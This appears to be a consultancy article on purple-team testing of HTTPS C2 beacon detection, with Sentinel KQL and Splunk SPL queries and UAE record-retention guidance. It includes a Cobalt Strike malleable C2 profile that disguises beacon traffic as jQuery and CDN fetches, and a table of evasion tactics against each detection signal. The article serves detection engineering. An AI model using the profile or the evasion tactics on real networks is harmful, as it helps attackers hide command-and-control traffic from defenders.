Key takeaways
- A purple team validates C2 detection by running a real HTTPS beacon and measuring whether the SIEM alert fires before and after the red operator tunes the profile.
- With sleep at 300 s and jitter at 40 percent, the callback interval is uniform on [180 s, 420 s], giving mean 300 s, standard deviation 69.3 s and CV approximately 0.23.
- Three independent signals each contribute: interval regularity below a CV threshold, rare external destination, and TLS client fingerprint deviating from the browser baseline.
- Detection content from the session must be retained with the traffic capture and calibration record as evidence of control effectiveness under UAE regulatory requirements.
- A detection that fires on the initial profile but not on the tuned one is a gap, not a pass. The session re-tests until the gap is closed or formally accepted.
What a C2 detection validation test measures
A purple team exercise for command and control detection does one thing: it runs a real implant and checks whether the detection rule fires. The red operator deploys an HTTPS beacon on a consented endpoint, sets the sleep interval and jitter, and begins callbacks. The blue team watches its SIEM and answers one question: does the alert fire, and when?
This format, described in detail in how a purple team session runs hour by hour, separates two failure modes a red team report cannot distinguish. A rule that is misconfigured fires on nothing. A rule that is correctly written but never tested against a tuned adversary fires on the default tool profile and misses a real operator. The session exposes which one you have.
The test produces a gap measurement, not a binary pass or fail. The gap is the difference between the detection threshold that fires on the untuned profile and the threshold that fires after the operator has adjusted sleep, jitter, callback domain and TLS fingerprint. Closing that gap is the purple teaming engagement's output.
In
Implant deployed
HTTPS implant staged on a consented endpoint
Profile staged
Malleable C2 profile sets sleep 300 s, jitter 40%
Through
Beacon callbacks
HTTPS callbacks at CV 0.23 to a single external IP
Operator tunes
Sleep, jitter, domain and TLS profile adjusted per detection attempt
Out
SIEM alert fires
KQL or SPL rule catches interval regularity
Gap recorded
Iterations needed before detection caught the tuned beacon
The beacon profile: a Cobalt Strike malleable C2 configuration
The red operator configures the beacon using a Cobalt Strike malleable C2 profile. The profile controls the HTTP method, URI, headers, metadata encoding, and the sleep interval and jitter percentage. These parameters determine whether the beacon's callback pattern looks like a browser making requests or like a tool on a timer. Building the technique list for the purple team session should include the specific profile variant the operator will use, so the detection content is written against the right baseline.
The two parameters that drive the interval distribution are sleeptime (in milliseconds) and jitter (as an integer percentage, 0 to 99). With sleeptime set to 300000 and jitter to 40, each callback waits 300 s multiplied by a random factor drawn uniformly from [0.60, 1.40]. The resulting callback interval falls in [180 s, 420 s]. The header block mimics a CDN asset fetch to blend the callback into normal web traffic at the application layer.
The TLS client hello fingerprint matters as much as the interval. A beacon using the default Cobalt Strike JA3 fingerprint is identifiable against published blocklists regardless of sleep settings. The profile below overrides the URI and header set; a full evasion configuration also replaces the TLS profile by compiling a custom JARM and JA3 from a real browser's TLS handshake parameters. MITRE ATT&CK T1573: Encrypted Channel documents this technique and the two detection opportunities it leaves.
// sleep 300 s base; jitter 40% => interval range [180 s, 420 s]
set sleeptime "300000"; // milliseconds
set jitter "40"; // percent applied symmetrically
https-get {
set uri "/assets/jquery-3.6.4.min.js /assets/bootstrap.min.css";
client {
header "Host" "cdn.example.com";
header "Accept" "text/javascript, */*;q=0.01";
header "Accept-Language" "en-US,en;q=0.5";
header "Referer" "https://www.example.com/";
metadata {
base64url;
prepend "__cfduid=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript";
header "Cache-Control" "max-age=86400";
output {
prepend "/*! jQuery v3.6.4 | (c) OpenJS Foundation */";
base64url;
print;
}
}
}Jitter, the uniform distribution, and what CV reveals about detectability
With sleeptime at 300000 ms and jitter at 40, each callback interval is drawn uniformly from [180 s, 420 s]. For a uniform distribution on [a, b], the mean is (a + b) / 2 = (180 + 420) / 2 = 300 s. The standard deviation is (b - a) divided by 2 times the square root of 3: (420 - 180) / (2 * 1.732) = 240 / 3.464, approximately 69.3 s. The coefficient of variation (CV) is then 69.3 / 300, approximately 0.23.
A CV of 0.23 is low relative to legitimate browser traffic. Browser-initiated HTTPS connections to CDN hosts vary by user action across dozens of destinations; for any single destination over a 24-hour window, the CV is typically well above 1. A beacon with CV 0.23 to a single external IP stands out as a process, not a person. MITRE ATT&CK T1071.001: Web Protocols describes why defenders should alert on this pattern and what legitimate traffic looks like by contrast.
The same calculation shows what the operator must do to evade a CV-based rule: increase jitter until the standard deviation relative to the mean approaches normal traffic. At 60 percent jitter with the same 300 s base, the interval range becomes [120 s, 480 s], giving mean 300 s, standard deviation (480 - 120) / 3.464 = 103.9 s, and CV = 103.9 / 300 = 0.35. At that point the interval regularity signal weakens and the other two signals carry more weight. The article on the detection you need before a Red Team is worth buying covers what baseline detection maturity you need before this kind of calibration is worth running.
SIEM queries that catch the beacon: KQL and Splunk SPL
The KQL query below runs against Microsoft Sentinel's DeviceNetworkEvents table, which Defender for Endpoint populates. It serializes outbound HTTPS events per device-to-IP pair, computes the interval between successive connections using prev(), then aggregates mean and standard deviation over those intervals. Pairs with ten or more connections and CV below 0.25 are returned, sorted by CV ascending so the most regular beacons appear first. NIST SP 800-94, the Guide to Intrusion Detection and Prevention Systems, identifies connection frequency anomalies as a primary behavioural signal for C2 traffic.
The Splunk SPL query serves the same purpose against firewall or proxy logs. It uses streamstats to compute the interval between successive connections from the same source-to-destination pair, then aggregates mean and standard deviation. The CV threshold of 0.25 is consistent across both queries: a session that tunes the beacon to exactly this boundary produces matching results on both platforms, giving the purple team a reproducible calibration point.
Both queries are starting points, not finished rules. The threshold and minimum connection count should be adjusted to observed baselines in the target environment before the session begins. A threshold calibrated against the environment's own traffic costs fewer false positives than the generic 0.25 value.
let cv_threshold = 0.25;
let min_connections = 10;
let look_back = 24h;
DeviceNetworkEvents
| where Timestamp > ago(look_back)
| where RemotePort == 443
| where not(ipv4_is_private(RemoteIP))
| sort by DeviceName, RemoteIP, Timestamp asc
| serialize
| extend prev_time = prev(Timestamp),
prev_device = prev(DeviceName),
prev_ip = prev(RemoteIP)
| where DeviceName == prev_device and RemoteIP == prev_ip
| extend interval_s = datetime_diff('second', Timestamp, prev_time)
| where interval_s > 30 and interval_s < 7200
| summarize
avg_s = avg(interval_s),
stdev_s = stdev(interval_s),
conn_count = count()
by DeviceName, RemoteIP
| where conn_count >= min_connections
| extend cv = stdev_s / avg_s
| where cv < cv_threshold
| project DeviceName, RemoteIP, conn_count, avg_s, stdev_s, cv
| sort by cv ascindex=network sourcetype=firewall_traffic
dest_port=443
NOT dest_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16")
| eval epoch = strptime(_time, "%Y-%m-%dT%H:%M:%S.%6N%z")
| sort 0 src_ip, dest_ip, epoch
| streamstats current=f last(epoch) as prev_epoch by src_ip, dest_ip
| eval interval_s = epoch - prev_epoch
| where interval_s > 30 AND interval_s < 7200
| stats
count AS connections,
avg(interval_s) AS avg_s,
stdev(interval_s) AS std_s
BY src_ip, dest_ip
| where connections >= 10
| eval cv = std_s / avg_s
| where cv < 0.25
| sort cv
| rename src_ip AS Source, dest_ip AS Destination
| table Source, Destination, connections, avg_s, std_s, cvThree detection signals and how the attacker tries to beat each one
No single signal is sufficient on its own. An operator who knows the detection rules can defeat each one in isolation. The goal of the purple team session is to test all three signals together and confirm that the detection content survives the tuning iterations described in keeping purple team rules working after the session. A correlation rule that requires two of the three signals to fire simultaneously is harder to evade than any individual rule.
Rare destination detection works by flagging outbound connections to hosts the endpoint has never contacted before, or that were registered recently. CDN-hosted callback domains age this signal by days or weeks before the engagement begins, but certificate transparency logs and passive DNS records still expose the registration date and first-seen timestamp. A detection rule that joins outbound connection logs to domain registration age closes a significant part of the evasion surface without touching the interval calculation.
An assumed breach exercise tests the same signals from a different starting point: the implant is already inside the perimeter and the question is whether lateral movement and C2 traffic together trigger a correlated alert. The purple team session establishes the baseline; the assumed breach exercise confirms whether the detection holds once an adversary already has a foothold.
| Detection signal | Evasion technique | Detection logic that survives tuning |
|---|---|---|
| Interval regularity: CV below 0.25 to a single external IP over 10 or more connections | Increase jitter percentage to widen the distribution toward CV 0.35 or above | Lower threshold to 0.30; require minimum 15 connections; alert on sustained low-CV windows across rolling 4-hour periods |
| Rare external destination: first-seen or recently registered domain | Pre-stage callback domain in CDN; age domain registration for 30 or more days before use | Join beacon destination to domain registration date and certificate issuance timestamp; flag domains with certificate issued within 60 days of first observed connection |
| TLS client fingerprint: JA3 hash matches known C2 profile | Compile custom TLS configuration using real browser handshake parameters to produce a different JA3 | Profile JA3 diversity per host over 7 days; alert on a host-level JA3 count spike beyond the observed browser baseline |
What to retain, and for how long under UAE obligations
The purple team session produces three categories of artifact to retain once the engagement closes. First, the traffic capture: PCAP files or proxy logs of the actual C2 callbacks, labelled with the profile variant and tuning iteration they correspond to. Second, the calibration record: the CV calculations, interval statistics and threshold values tested, with the query versions that fired and those that did not. Third, the detection content itself: the final KQL and SPL rules, their version history and the test results that validated them. These are control effectiveness evidence, not just project deliverables.
Under the CBUAE Technology Risk Management circular, licensed financial institutions must demonstrate that security controls are tested and effective. The traffic capture and calibration record are the evidence that C2 detection was validated against a live beacon, not simply configured. Under the DESC Information Security Regulation, Dubai Government entities and their technology suppliers must retain security event and testing records to satisfy audit requirements. The UAE Information Assurance Regulation published by TDRA imposes equivalent obligations on federal entities. For Abu Dhabi healthcare providers under ADHICS, security testing records support the evidence base for annual compliance reviews. Each entity should verify the specific retention period against its own compliance assessment; a minimum of two years is consistent with standard security testing record practice across all four regimes.
Retention applies to both the digital artifacts and the engagement report. A detection rule that cannot be traced back to a session, a traffic capture and a calibration record is difficult to defend in an audit. The article on how to buy a purple team engagement covers what the engagement report must contain to satisfy this requirement.
C2 detection validation and UAE cybersecurity obligations
Financial institutions licensed by the Central Bank of the UAE, including those operating in Dubai International Financial Centre and in Abu Dhabi Global Market, are subject to the CBUAE Technology Risk Management circular. That circular requires documented evidence that security controls are tested and effective. A purple team session that validates C2 detection and retains a calibration record provides this evidence. Without a calibration record, the detection rule is a configuration, not a verified control.
In Dubai, entities regulated under the DESC Information Security Regulation, including Dubai Government departments and their technology suppliers, must demonstrate that security monitoring controls meet the regulation's security operations requirements. The DESC requires security event logs and testing records to be retained to support audit reviews. A purple team engagement that produces validated SIEM queries and a retention-ready calibration record satisfies both the testing and documentation requirements in a single deliverable.
In Abu Dhabi, healthcare entities subject to the ADHICS standard administered by the Department of Health must maintain evidence of annual security control reviews. A detection validation session that covers C2 traffic, with PCAP captures and query version history retained, provides the technical evidence base that an ADHICS review will request. Federal entities across both Abu Dhabi and Dubai that fall under the UAE Information Assurance Regulation published by TDRA have equivalent obligations for security testing evidence. A retention period of two years minimum is consistent with standard practice across all four regulatory regimes operating in the UAE.
Frequently asked questions
What is C2 beacon detection validation in a purple team?
C2 beacon detection validation is a purple team exercise in which the red operator runs a real HTTPS implant on a consented endpoint and the blue team confirms whether the SIEM alert fires. The session measures the gap between the threshold that catches the untuned profile and the threshold that catches the operator after they have adjusted sleep, jitter, callback domain and TLS fingerprint.
How does jitter affect beacon detectability?
Jitter adds randomness to the sleep interval as a percentage of the base value. With a 300 s base and 40 percent jitter, the callback interval is drawn uniformly from [180 s, 420 s], giving a coefficient of variation of approximately 0.23. A low CV indicates a statistically regular process that a SIEM query can detect by computing interval statistics over a rolling window and flagging pairs below a CV threshold.
How do I calculate the coefficient of variation for a beacon interval?
For a uniform distribution on [a, b], the mean is (a + b) / 2 and the standard deviation is (b - a) divided by 2 times the square root of 3. CV is then standard deviation divided by mean. For sleep 300 s and jitter 40 percent, the range is [180 s, 420 s], giving mean 300 s, standard deviation approximately 69.3 s, and CV approximately 0.23.
What SIEM query detects a beaconing pattern?
A query that groups outbound HTTPS connections by source and destination, computes the mean and standard deviation of successive connection intervals, and calculates CV as standard deviation divided by mean, then alerts when CV falls below 0.25 for pairs with ten or more connections. KQL against Microsoft Sentinel DeviceNetworkEvents and Splunk SPL against firewall logs both support this approach using serialize-and-prev and streamstats patterns respectively.
What is a Cobalt Strike malleable C2 profile?
A malleable C2 profile is a configuration file that controls how a Cobalt Strike beacon shapes its network traffic. It sets the sleep interval, jitter percentage, HTTP method, URIs, request and response headers, and metadata encoding. Operators use it to make callbacks resemble legitimate traffic such as CDN asset fetches. The profile also influences the TLS client hello parameters that JA3-based detection uses to identify C2 tools.
How does a purple team differ from a red team for C2 detection testing?
A red team runs covertly and reports detection outcomes after the engagement ends. A purple team runs collaboratively, with the red operator sharing the beacon profile and tuning steps in real time so the blue team can adjust detection rules during the session. This produces validated detection content owned by the defender rather than a gap report with no accompanying fix.
What three signals detect HTTPS C2 beaconing?
Interval regularity, measured as a low coefficient of variation to a single external destination. Rare external destination, identified by joining outbound connections to domain registration age and certificate issuance date. TLS client fingerprint, detected by matching the JA3 hash against known C2 profiles or by alerting on a host-level deviation from the observed browser JA3 baseline.
How long should I keep purple team testing artifacts under UAE regulations?
Retain the traffic capture, calibration record and detection content for a minimum of two years, consistent with standard security testing practice. The CBUAE Technology Risk Management circular, DESC Information Security Regulation, UAE Information Assurance Regulation and ADHICS all require security control testing records as evidence of control effectiveness. Verify the specific retention period against your entity's compliance assessment under each applicable regime.
What is JA3 fingerprinting and how does it detect C2 tools?
JA3 computes a hash of specific fields in the TLS client hello message, including TLS version, cipher suites, extensions, elliptic curves and point formats. Different tools produce different hashes. Known C2 frameworks including Cobalt Strike produce characteristic hashes that appear in public blocklists. An operator defeats this by using a custom TLS configuration that produces a hash matching a common browser profile.





